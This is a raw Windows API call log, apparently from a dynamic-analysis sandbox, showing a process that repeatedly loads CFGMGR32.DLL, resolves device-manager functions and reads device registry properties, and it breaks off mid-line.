GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x46dfc1cc, dwHighDateTime=0x1d9eb0c)) [0233.386] SetEvent (hEvent=0x248) returned 1 [0233.389] malloc (_Size=0x18) returned 0x20abc282060 [0233.389] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0233.389] free (_Block=0x20abc282060) [0233.389] malloc (_Size=0x18) returned 0x20abc281d20 [0233.389] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0233.389] free (_Block=0x20abc281d20) [0233.389] malloc (_Size=0x18) returned 0x20abc2819a0 [0233.389] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0233.389] free (_Block=0x20abc2819a0) [0233.389] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d6f0 [0233.389] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0233.389] SafeArrayGetLBound (in: psa=0x20abba80790, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0233.390] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0233.390] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0233.390] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0233.390] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0233.390] SafeArrayGetElemsize (psa=0x20abba80790) returned 0x8 [0233.390] SafeArrayGetElement (in: psa=0x20abba80790, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0233.390] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0233.390] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0233.391] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0233.392] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0233.392] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d6f0) returned 1 [0233.393] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.393] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.492] malloc (_Size=0x18) returned 0x20abc282040 [0233.492] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0233.492] malloc (_Size=0x14) returned 0x20abc281c60 [0233.493] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281c60, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281c60, pulLength=0x2dc22fd3f8) returned 0x0 [0233.493] free (_Block=0x20abc281c60) [0233.493] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x46f070eb, dwHighDateTime=0x1d9eb0c)) [0233.493] SetEvent (hEvent=0x248) returned 1 [0233.496] malloc (_Size=0x18) returned 0x20abc281ac0 [0233.497] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0233.497] free (_Block=0x20abc281ac0) [0233.497] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cef0 [0233.497] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0233.497] SafeArrayGetLBound (in: psa=0x20abba80790, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0233.497] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0233.497] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0233.497] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0233.497] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0233.497] SafeArrayGetElemsize (psa=0x20abba80790) returned 0x8 [0233.497] SafeArrayGetElement (in: psa=0x20abba80790, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0233.497] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402310, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0233.498] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0233.498] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cef0) returned 1 [0233.499] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.499] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.500] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.500] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.500] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.500] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.500] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.500] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.500] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.503] malloc (_Size=0x18) returned 0x20abc281d20 [0233.503] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0233.506] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46f2d30a, dwHighDateTime=0x1d9eb0c)) [0233.506] SetEvent (hEvent=0x248) returned 1 [0233.510] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.510] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.513] malloc (_Size=0x18) returned 0x20abc281be0 [0233.513] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0233.513] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46f2d30a, dwHighDateTime=0x1d9eb0c)) [0233.514] SetEvent (hEvent=0x248) returned 1 [0233.518] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.518] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.521] malloc (_Size=0x18) returned 0x20abc281b80 [0233.522] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0233.522] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46f5358c, dwHighDateTime=0x1d9eb0c)) [0233.522] SetEvent (hEvent=0x248) returned 1 [0233.526] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.526] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.529] malloc (_Size=0x18) returned 0x20abc281fe0 [0233.529] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0233.530] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x46f5358c, dwHighDateTime=0x1d9eb0c)) [0233.530] SetEvent (hEvent=0x248) returned 1 [0233.775] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.775] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0233.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0233.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0233.778] malloc (_Size=0x18) returned 0x20abc281b20 [0233.779] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0233.782] malloc (_Size=0x48) returned 0x20abc27cf80 [0233.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x471bb975, dwHighDateTime=0x1d9eb0c)) [0233.783] SetEvent (hEvent=0x248) returned 1 [0233.786] malloc (_Size=0xd8) returned 0x20abc284e70 [0233.787] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0233.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0233.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0233.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0233.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0233.788] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0233.789] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0233.789] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0233.789] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0233.789] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0233.789] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0233.789] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0233.789] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0233.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0233.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0233.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0233.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0233.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0233.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0233.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 